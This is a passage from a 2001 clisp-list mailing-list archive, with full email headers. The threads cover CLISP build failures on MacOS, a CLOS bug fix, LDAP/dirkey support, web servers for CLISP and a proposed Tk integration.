macros1.lisp is finished. > | ;; Loading file macros2.lisp ... > | ;; Loading of file macros2.lisp is finished. > | ;; Loading file defs1.lisp ... > | ;; Loading of file defs1.lisp is finished. > | ;; Loading file places.lisp ... > | make: *** [interpreted.mem] Segmentation fault > `---- > > Running lisp.run under gdb (5.0) complains that the > sigsegv_handler_failed in .gdbinit is not defined. > > Any hints on how to debug this? > > -- > Eric Marsden > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From sds@gnu.org Thu Oct 18 13:17:29 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uJbd-0002pn-00 for ; Thu, 18 Oct 2001 13:17:29 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA06543; Thu, 18 Oct 2001 16:17:25 -0400 (EDT) X-Envelope-To: To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clos problems when initialize-instance returning unusual objects References: <5.1.0.14.0.20011015235822.009f6af0@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20011015235822.009f6af0@pop3.terra.es> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 18 13:18:14 2001 X-Original-Date: 18 Oct 2001 16:16:18 -0400 > * In message <5.1.0.14.0.20011015235822.009f6af0@pop3.terra.es> > * On the subject of "[clisp-list] Clos problems when initialize-instance returning unusual objects" > * Sent on Tue, 16 Oct 2001 00:14:44 +0200 > * Honorable Karsten writes: > > make-instance seem to return whatever initialize-instance returns, > even if it is totally bogus indeed, this is a bug, thanks for reporting it. I just committed a fix to the CVS. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! He who laughs last did not get the joke. From johs@bzzzt.fix.no Thu Oct 18 20:01:54 2001 Received: from bzzzt.fix.no ([212.71.72.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uPuy-0000ap-00 for ; Thu, 18 Oct 2001 20:01:52 -0700 Received: from johs by bzzzt.fix.no with local (Exim 3.22 #1) id 15uPuv-000CpM-00 for clisp-list@lists.sourceforge.net; Fri, 19 Oct 2001 05:01:49 +0200 To: clisp-list@lists.sourceforge.net From: Johannes Groedem Message-ID: Lines: 8 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] LDAP-support in CLISP. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 18 20:02:15 2001 X-Original-Date: Fri, 19 Oct 2001 05:01:49 +0200 The dirkey-support in clisp (2.27) seem to be missing some #ifdef WIN32_NATIVEs. Or am I doing something wrong with configuration? (I'm basically just giving --with-dir-key, and when I try to compile, it just barfs out lots of messages about how HKEY isn't defined, etc.) -- johs From sds@gnu.org Fri Oct 19 05:55:14 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uZBB-0007TA-00 for ; Fri, 19 Oct 2001 05:55:13 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id IAA01230; Fri, 19 Oct 2001 08:55:07 -0400 (EDT) X-Envelope-To: To: Johannes Groedem Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] LDAP-support in CLISP. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 19 05:56:10 2001 X-Original-Date: 19 Oct 2001 08:54:30 -0400 > * In message > * On the subject of "[clisp-list] LDAP-support in CLISP." > * Sent on Fri, 19 Oct 2001 05:01:49 +0200 > * Honorable Johannes Groedem writes: > > The dirkey-support in clisp (2.27) seem to be missing some > #ifdef WIN32_NATIVEs. Or am I doing something wrong with > configuration? (I'm basically just giving --with-dir-key, > and when I try to compile, it just barfs out lots of messages > about how HKEY isn't defined, etc.) What is your platform? LDAP is not implemented yet - win32 HKEY only. Would you like to work on LDAP? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From johs@bzzzt.fix.no Fri Oct 19 10:34:33 2001 Received: from bzzzt.fix.no ([212.71.72.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15udXT-0001ru-00 for ; Fri, 19 Oct 2001 10:34:31 -0700 Received: from johs by bzzzt.fix.no with local (Exim 3.22 #1) id 15udXV-000OUJ-00 for clisp-list@lists.sourceforge.net; Fri, 19 Oct 2001 19:34:33 +0200 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] LDAP-support in CLISP. References: From: Johannes Groedem In-Reply-To: (Sam Steingold's message of "19 Oct 2001 08:54:30 -0400") Message-ID: Lines: 19 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 19 10:35:17 2001 X-Original-Date: Fri, 19 Oct 2001 19:34:32 +0200 Sam Steingold writes: > What is your platform? FreeBSD-4.4, i386. > LDAP is not implemented yet - win32 HKEY only. Ah, that explains why I couldn't find any references to any ldap-functions. :) > Would you like to work on LDAP? I might. I'm kind of new to Lisp, though, but I guess it's mostly C, right? (Also, I don't know anything about clisp's ffi, but that can all be learned, I guess.) -- johs From erik@aarg.net Fri Oct 19 10:35:16 2001 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15udYB-00029R-00 for ; Fri, 19 Oct 2001 10:35:15 -0700 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAA2F28 for ; Fri, 19 Oct 2001 10:29:19 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15312.25676.733527.578029@sif.musiciansfriend.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.96 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid X-URL: http://erik.arneson.org/ X-Web: http://erik.arneson.org/ X-Home-Page: http://erik.arneson.org/ X-Face: (tqZYuGE?nmt+0+#GxA:9MCh\^]L?4E&}G79|/Xo~_)Pw5DE9-!hZff&>`8".[Wj1m A4~Qj`/}%?75sWO2TPOZ/'AfN!84V]P{k5:3?sR./6&Cb.B2/u/-5g*^H!E|iU&?jC*=Rc=Z: |2Vbqn+4wOU/II:3b(lsd]a%fcYZ6O$28N';u]?O6.*)U"yiJ?pE=)$$1)xIU~l\3iCiH*.A} H#YW1Wql9RXB;DTEb_.e4DmH$@?63FeK From: Erik Arneson Subject: [clisp-list] Port of AllegroServe? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 19 10:36:09 2001 X-Original-Date: Fri, 19 Oct 2001 10:35:08 -0700 Howdy folks, I'm wondering if anybody out there has tried porting AllegroServe to CLISP? Or is there a port floating around out there? -- # Erik Arneson AARG Net # # GPG Key ID: 1024D/43AD6AB8 # # "Resistance to tyrants is obedience to God!" - Thomas Jefferson # From erik@aarg.net Fri Oct 19 10:40:20 2001 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15udd1-00038V-00 for ; Fri, 19 Oct 2001 10:40:15 -0700 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAA3054; Fri, 19 Oct 2001 10:34:16 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15312.25973.273594.645162@sif.musiciansfriend.com> To: Johannes Groedem Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] LDAP-support in CLISP. In-Reply-To: References: X-Mailer: VM 6.96 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid X-URL: http://erik.arneson.org/ X-Web: http://erik.arneson.org/ X-Home-Page: http://erik.arneson.org/ X-Face: (tqZYuGE?nmt+0+#GxA:9MCh\^]L?4E&}G79|/Xo~_)Pw5DE9-!hZff&>`8".[Wj1m A4~Qj`/}%?75sWO2TPOZ/'AfN!84V]P{k5:3?sR./6&Cb.B2/u/-5g*^H!E|iU&?jC*=Rc=Z: |2Vbqn+4wOU/II:3b(lsd]a%fcYZ6O$28N';u]?O6.*)U"yiJ?pE=)$$1)xIU~l\3iCiH*.A} H#YW1Wql9RXB;DTEb_.e4DmH$@?63FeK From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 19 10:41:09 2001 X-Original-Date: Fri, 19 Oct 2001 10:40:05 -0700 On 19 October 2001, Johannes Groedem wrote: > Sam Steingold writes: > > LDAP is not implemented yet - win32 HKEY only. > > Ah, that explains why I couldn't find any references to any > ldap-functions. :) > > > Would you like to work on LDAP? > > I might. I'm kind of new to Lisp, though, but I guess it's > mostly C, right? (Also, I don't know anything about clisp's > ffi, but that can all be learned, I guess.) You might want to look at the LDAP code in some of the newer versions of XEmacs. They've got a very nice interface, and it links into OpenLDAP, so you might be able to get a good idea of how to do things. -- # Erik Arneson AARG Net # # GPG Key ID: 1024D/43AD6AB8 # # "Resistance to tyrants is obedience to God!" - Thomas Jefferson # From toy@rtp.ericsson.se Fri Oct 19 11:40:23 2001 Received: from imr2.ericy.com ([12.34.240.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ueZ8-0003xE-00 for ; Fri, 19 Oct 2001 11:40:22 -0700 Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.92.14]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id f9JIe9021586 for ; Fri, 19 Oct 2001 13:40:10 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f9JIe9F07707 for ; Fri, 19 Oct 2001 13:40:09 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Fri Oct 19 13:40:08 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id OAA18825; Fri, 19 Oct 2001 14:41:30 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id OAA01854; Fri, 19 Oct 2001 14:40:06 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Josh Flowers Cc: Eric Marsden , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build fails on MacOS 10.1 References: <200110181907.f9IJ7ca16848@bjork.codefab.com> From: Raymond Toy In-Reply-To: <200110181907.f9IJ7ca16848@bjork.codefab.com> Message-ID: <4nsncf3249.fsf@rtp.ericsson.se> Lines: 20 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (asparagus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 19 11:41:21 2001 X-Original-Date: 19 Oct 2001 14:40:06 -0400 >>>>> "Josh" == Josh Flowers writes: Josh> Well, I'm the one who built the binary for 10.0.4, but I'm afraid I Josh> don't remember all of the hoops I needed to jump through to get things Josh> working. The only thing I remember for sure is needing to remove all Josh> of the optimization flags that get passed to the compiler (-O, or -O2 Josh> I think). I've built Clisp 2.27 for 10.0.4 too. (Works just great! And with the Rootless XDarwin, and xemacs, it's just like my Sun and Linux box. Now, if I could just swap the capslock and ctrl keys on the iMac keyboard....) I thought the only real problem was to raise the stack ulimit before compiling? Anyway, the method required is on this mailing list somewhere. Josh> I may be revisiting this soon though, since I've just upgraded to 10.1... Me too! Ray From davidhanley@yahoo.com Fri Oct 19 13:04:28 2001 Received: from web13406.mail.yahoo.com ([216.136.175.64]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ufsa-0001Jo-00 for ; Fri, 19 Oct 2001 13:04:28 -0700 Message-ID: <20011019200428.72308.qmail@web13406.mail.yahoo.com> Received: from [206.206.126.236] by web13406.mail.yahoo.com via HTTP; Fri, 19 Oct 2001 13:04:28 PDT From: David Hanley To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] clisp and TK Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 19 13:05:13 2001 X-Original-Date: Fri, 19 Oct 2001 13:04:28 -0700 (PDT) I'd like to distribute a few small useful lisp apps--not with the idea of making money, just to be useful to some people. FRANZ makes a good tool, but it's too expensive for my helping-people plan. I have harlequin 4.1 but i find it's UI stuff very hard to use, and flaky. Some basic things don't work. There's no documented way to update a listbox after you've already added items to it, and they acted like i was crazy because i wanted to do that. So, i had the idea to compile TK into clisp, and distribute that with some .fasl files. This seems do-able. It's also more work than i'd like to do, but what the heck. Before i go whole-hog integrating clisp with TK, though, i must ask: 1) has anyone done this before? 2) is this something people would generally like to use? 3) Is there some applicable standard for integrating GUI stuff to lisp? I could sort-of forsee this being integrated into future distributions with a compile-time flag. If this will not be useful, i'll probably not bother. dave __________________________________________________ Do You Yahoo!? Make a great connection at Yahoo! Personals. http://personals.yahoo.com From erik@aarg.net Fri Oct 19 21:34:07 2001 Received: from www.aarg.net ([206.101.74.70] helo=marco.aarg.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15unpm-0004Cf-00 for ; Fri, 19 Oct 2001 21:34:06 -0700 Received: from monkey.x.aarg.net.aarg.net (IDENT:erik@208-046-220-133.pc.ashlandfiber.net [208.46.220.133]) (authenticated) by marco.aarg.net (8.11.6/8.11.6) with ESMTP id f9K4Y0Q30425; Fri, 19 Oct 2001 21:34:01 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15312.65208.479848.854726@monkey.x.aarg.net> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Port of AllegroServe? In-Reply-To: References: <15312.25676.733527.578029@sif.musiciansfriend.com> X-Mailer: VM 6.95 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 19 21:35:13 2001 X-Original-Date: Fri, 19 Oct 2001 21:34:00 -0700 On 19 Oct 01, Sam Steingold wrote: > > * Honorable Erik Arneson writes: > > > > I'm wondering if anybody out there has tried porting AllegroServe to > > CLISP? Or is there a port floating around out there? > > it is likely to be tricky since CLISP does not support MT. > this does not mean this cannot be done though, just that it would be hard. I remember a while back that Don Cohen posted an HTTP server for CLISP here on the list. Does anybody know if there's a place to download it? -- > Erik Arneson MM, Ashland Lodge No. 23 < > GPG Key ID: 1024D/43AD6AB8 RAM, Siskiyou Chapter No. 21 < > < From don-sourceforge@isis.cs3-inc.com Fri Oct 19 23:35:20 2001 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15upj6-0004fD-00 for ; Fri, 19 Oct 2001 23:35:20 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id f9K6YrW02500; Fri, 19 Oct 2001 23:34:53 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15313.6925.165110.492700@isis.cs3-inc.com> Cc: clisp-list@lists.sourceforge.net To: Erik Arneson Subject: Re: [clisp-list] Port of AllegroServe? In-Reply-To: <15312.65208.479848.854726@monkey.x.aarg.net> References: <15312.25676.733527.578029@sif.musiciansfriend.com> <15312.65208.479848.854726@monkey.x.aarg.net> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 19 23:36:09 2001 X-Original-Date: Fri, 19 Oct 2001 23:34:53 -0700 Erik Arneson writes: > On 19 Oct 01, Sam Steingold wrote: > > > * Honorable Erik Arneson writes: > > > > > > I'm wondering if anybody out there has tried porting AllegroServe to > > > CLISP? Or is there a port floating around out there? > > > > it is likely to be tricky since CLISP does not support MT. > > this does not mean this cannot be done though, just that it would be hard. > > I remember a while back that Don Cohen posted an HTTP server for CLISP > here on the list. Does anybody know if there's a place to download > it? If I posted it on clisp-list that must have been some time ago. I did put it in clocc but I can't find it now. I get an error now when I go to clocc and click on cvs browsing. Note that this is not a port of AllegroServe, however. In fact, it probably has no relationship other than perhaps common ancestry in an old allegro example server (probably no original code survives in either case). Oh, right, my copyright refers to theirs. I do handle multiple connections at a time in some appropriate sense, i.e., you don't have to wait a very long time for your 1K download just cause someone else started a 10M download right before you. On the other hand, there are things that would work in a real MP environment that don't work here, e.g., you could put a sleep in the response to one request and others would continue to progress. BTW, Isn't there another web server (or several) in clocc? In fact, I thought Sam had one. I'm sure Erann Gat had one, but probably not in clocc. Not to mention AllegroServe and cl-http (which also does not run in clisp as far as I know). I believe I've made a number of improvements in mine since I last put it on clocc, but I can't tell what they are without the old source to compare. Of course, if it's not available, who cares about the differences? Instead, tell me where to put the current version. From amoroso@mclink.it Sat Oct 20 04:46:00 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uuZh-0006zF-00 for ; Sat, 20 Oct 2001 04:45:57 -0700 Received: from net145-093.mclink.it (net145-093.mclink.it [195.110.145.93]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f9KBjog10209 for ; Sat, 20 Oct 2001 13:45:51 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp and TK Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <20011019200428.72308.qmail@web13406.mail.yahoo.com> In-Reply-To: <20011019200428.72308.qmail@web13406.mail.yahoo.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 20 04:46:10 2001 X-Original-Date: Sat, 20 Oct 2001 13:45:47 +0100 On Fri, 19 Oct 2001 13:04:28 -0700 (PDT), David Hanley wrote: > So, i had the idea to compile TK into clisp, and > distribute that with some .fasl files. This seems [...] > Before i go whole-hog integrating clisp with TK, > though, i must ask: > > 1) has anyone done this before? Sort of. If you are willing to separately ship the Lisp application and a standard Tcl/Tk distribution if the user's system doesn't come with it, you may get some idea from the `lisp2wish' page at CLiki: http://ww.telent.net/cliki/ Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From erik@aarg.net Sat Oct 20 06:30:10 2001 Received: from www.aarg.net ([206.101.74.70] helo=marco.aarg.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uwCX-0002jp-00 for ; Sat, 20 Oct 2001 06:30:09 -0700 Received: from monkey.x.aarg.net.aarg.net (IDENT:erik@208-046-220-133.pc.ashlandfiber.net [208.46.220.133]) (authenticated) by marco.aarg.net (8.11.6/8.11.6) with ESMTP id f9KDU0Q10591; Sat, 20 Oct 2001 06:30:02 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15313.31832.461140.217892@monkey.x.aarg.net> To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Port of AllegroServe? In-Reply-To: <15313.6925.165110.492700@isis.cs3-inc.com> References: <15312.25676.733527.578029@sif.musiciansfriend.com> <15312.65208.479848.854726@monkey.x.aarg.net> <15313.6925.165110.492700@isis.cs3-inc.com> X-Mailer: VM 6.95 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 20 06:31:29 2001 X-Original-Date: Sat, 20 Oct 2001 06:30:00 -0700 On 19 Oct 01, Don Cohen wrote: > I believe I've made a number of improvements in mine since I last put > it on clocc, but I can't tell what they are without the old source to > compare. Of course, if it's not available, who cares about the > differences? Instead, tell me where to put the current version. Well, now you've got me eagerly chomping at the bit. :) If you need FTP or web space or something, I could provide it for you, but why don't you just slap a catchy name on it and post it to Sourceforge? Something like that would be well worth developing! -- > Erik Arneson MM, Ashland Lodge No. 23 < > GPG Key ID: 1024D/43AD6AB8 RAM, Siskiyou Chapter No. 21 < > < From amoroso@mclink.it Sat Oct 20 07:15:54 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uwul-00052t-00 for ; Sat, 20 Oct 2001 07:15:52 -0700 Received: from net145-058.mclink.it (net145-058.mclink.it [195.110.145.58]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f9KEFkg02272 for ; Sat, 20 Oct 2001 16:15:46 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Port of AllegroServe? Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <15312.25676.733527.578029@sif.musiciansfriend.com> <15312.65208.479848.854726@monkey.x.aarg.net> <15313.6925.165110.492700@isis.cs3-inc.com> In-Reply-To: <15313.6925.165110.492700@isis.cs3-inc.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 20 07:16:14 2001 X-Original-Date: Sat, 20 Oct 2001 16:15:40 +0100 On Fri, 19 Oct 2001 23:34:53 -0700, Don Cohen wrote: > BTW, Isn't there another web server (or several) in clocc? > In fact, I thought Sam had one. I'm sure Erann Gat had one, > but probably not in clocc. Not to mention AllegroServe and cl-http See the Web section of CLiki. It list a few servers, including Erann's. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From davidhanley@yahoo.com Sat Oct 20 09:00:00 2001 Received: from web13402.mail.yahoo.com ([216.136.175.60]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uyXY-0002pN-00 for ; Sat, 20 Oct 2001 09:00:00 -0700 Message-ID: <20011020155959.69428.qmail@web13402.mail.yahoo.com> Received: from [64.42.130.134] by web13402.mail.yahoo.com via HTTP; Sat, 20 Oct 2001 08:59:59 PDT From: David Hanley Subject: Re: [clisp-list] clisp and TK To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 20 09:00:16 2001 X-Original-Date: Sat, 20 Oct 2001 08:59:59 -0700 (PDT) > > you would probably want to make that a CLISP module. > see True. I was still very early in the playing around process. > > 3) Is there some applicable standard for > integrating GUI stuff to > > lisp? > > CLIM? I thought about that. It might come to that eventually, but CLIM is really pretty huge. For earlier iterations, at least, i'd like to stay away from that level of requirements. > I would be happy to include the module with the main > distribution. Ok. The pressure's on! :) dave __________________________________________________ Do You Yahoo!? Make a great connection at Yahoo! Personals. http://personals.yahoo.com From don-sourceforge@isis.cs3-inc.com Sat Oct 20 15:02:34 2001 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15v4CQ-0007sf-00 for ; Sat, 20 Oct 2001 15:02:34 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id f9KM1xF03279; Sat, 20 Oct 2001 15:01:59 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15313.62551.406861.796855@isis.cs3-inc.com> cc: clisp-list@lists.sourceforge.net To: Erik Arneson Subject: Re: [clisp-list] Port of AllegroServe => my webserver on clocc In-Reply-To: <15313.31832.461140.217892@monkey.x.aarg.net> References: <15312.25676.733527.578029@sif.musiciansfriend.com> <15312.65208.479848.854726@monkey.x.aarg.net> 